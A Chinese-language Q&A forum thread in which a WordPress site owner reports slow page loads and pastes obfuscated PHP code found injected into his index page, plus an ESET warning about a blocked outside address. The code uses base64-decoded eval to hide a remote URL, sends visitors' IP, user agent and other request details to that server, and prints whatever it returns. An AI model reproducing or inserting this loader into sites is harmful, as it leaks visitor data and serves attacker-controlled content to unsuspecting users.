我的WordPress站点中的奇怪代码和我的网站运行太慢

时间:2011-10-21 作者:Imran Shafqat

我有一个wordpress网站,最近我看到加载索引页面太慢了。两周来,我一直在努力寻找问题,但什么也没找到。最后一天,我备份了所有文件,删除了我网站上的所有内容,并在记事本++中打开了我的网站索引页。

我看到了太多奇怪的代码,当我在wamp上本地运行我的站点时,我的防病毒程序发出了太多警告,并阻止了许多外部连接。我在我的网站索引页上看到了以下代码:

<?php $_F=__FILE__;$_X=\'Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));$ua = urlencode(strtolower($_SERVER[\'HTTP_USER_AGENT\']));$ip = $_SERVER[\'REMOTE_ADDR\'];$host = $_SERVER[\'HTTP_HOST\'];$uri = urlencode($_SERVER[\'REQUEST_URI\']);$ref = urlencode($_SERVER[\'HTTP_REFERER\']);$url = $url.\'?ip=\'.$ip.\'&host=\'.$host.\'&uri=\'.$uri.\'&ua=\'.$ua.\'&ref=\'.$ref; $tmp = file_get_contents($url); echo $tmp; ?>
告诉我此代码为什么出现在我的页面中,以及它是如何出现的,我在其他页面上都没有发现此代码。还告诉我现在应该做什么,我的eset antivirus在wamp中加载页面时会这样说:

Details:

Web page:
http://91.196.216.30/bt.php?ip=127.0.0.1&host=localhost&uri=/web/wordpress/&ua=mozilla/5.0+(windows+nt+6.1)+applewebkit/535.1+(khtml,+like+gecko)+chrome/14.0.835.187+safari/535.1&ref=

Description:
Access to the web page was blocked by ESET NOD32 Antivirus.
The web page is on the list of websites with potentially dangerous content.

www.eset.com

1 个回复
SO网友:Wyck

你的网站被破坏了,你必须清理一下。

以下是您可以开始使用的两个指南:

结束

相关推荐

How was my WP site hacked

我的网站,http://www.cancer-study.com, 已被黑客攻击,我无法登录到wp管理员。你能说一下它是如何被黑客入侵的吗?我能做些什么来修复损坏?我可以访问主机。